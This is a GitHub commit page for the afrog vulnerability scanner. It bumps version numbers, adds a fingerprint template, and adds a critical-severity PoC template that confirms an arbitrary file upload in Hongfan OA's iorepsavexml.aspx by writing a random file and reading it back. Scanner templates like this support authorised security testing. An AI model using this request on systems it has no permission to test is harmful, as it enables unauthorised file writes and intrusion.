Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
zan8in committed Jul 12, 2023
1 parent bbe90e1 commit 4cb8ae5
Show file tree
Hide file tree
Showing 7 changed files with 54 additions and 4 deletions.
2 changes: 1 addition & 1 deletion pkg/config/banner.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import (
"github.com/zan8in/gologger"
)

const Version = "2.7.1"
const Version = "2.7.2"

func InitBanner() {
fmt.Printf("\r\n|\tA F 🐸 O G\t|")
Expand Down
19 changes: 19 additions & 0 deletions pocs/afrog-pocs/fingerprinting/newcapec-detect.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
id: newcapec-detect

info:
name: 掌上校园服务管理平台
author: zan8in
severity: info
verified: true
description: |
FOFA: icon_hash="-1278128358"
tags: newcapec,fingerprint
created: 2023/07/12

rules:
r0:
request:
method: GET
path: /login.action
expression: response.status == 200 && response.body.ibcontains(b'<title>掌上校园服务管理平台</title>')
expression: r0()
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
id: hongfan-oa-iorepsavexml-file-upload

info:
name: 红帆OA iorepsavexml.aspx 任意文件上传
author: Observer
severity: critical
verified: true
description: |
FOFA: app="红帆-ioffice"
reference:
- https://github.com/FridaZhbk/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E7%BA%A2%E5%B8%86/oa%E7%BA%A2%E5%B8%86ioAssistance.asmx%E6%B3%A8%E5%85%A5RCE.py#L47
tags: hongfan,oa,rce
created: 2023/06/25

set:
randstr: randomLowercase(10)
randbody: randomLowercase(32)
rules:
r0:
request:
method: POST
path: /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename={{randstr}}.txt&filepath=/upfiles/rep/pic/
body: |
{{randbody}}
expression: response.status == 200
r1:
request:
method: GET
path: /iOffice/upfiles/rep/pic/{{randstr}}.txt
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()
2 changes: 1 addition & 1 deletion pocs/temp/afrog-pocs/version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.2.22
0.2.23
Binary file modified pocs/v/afrog-pocs.zip
Binary file not shown.
2 changes: 1 addition & 1 deletion pocs/v/afrog.version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
2.7.1
2.7.2
2 changes: 1 addition & 1 deletion pocs/v/version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.2.22
0.2.23

0 comments on commit 4cb8ae5

Please sign in to comment.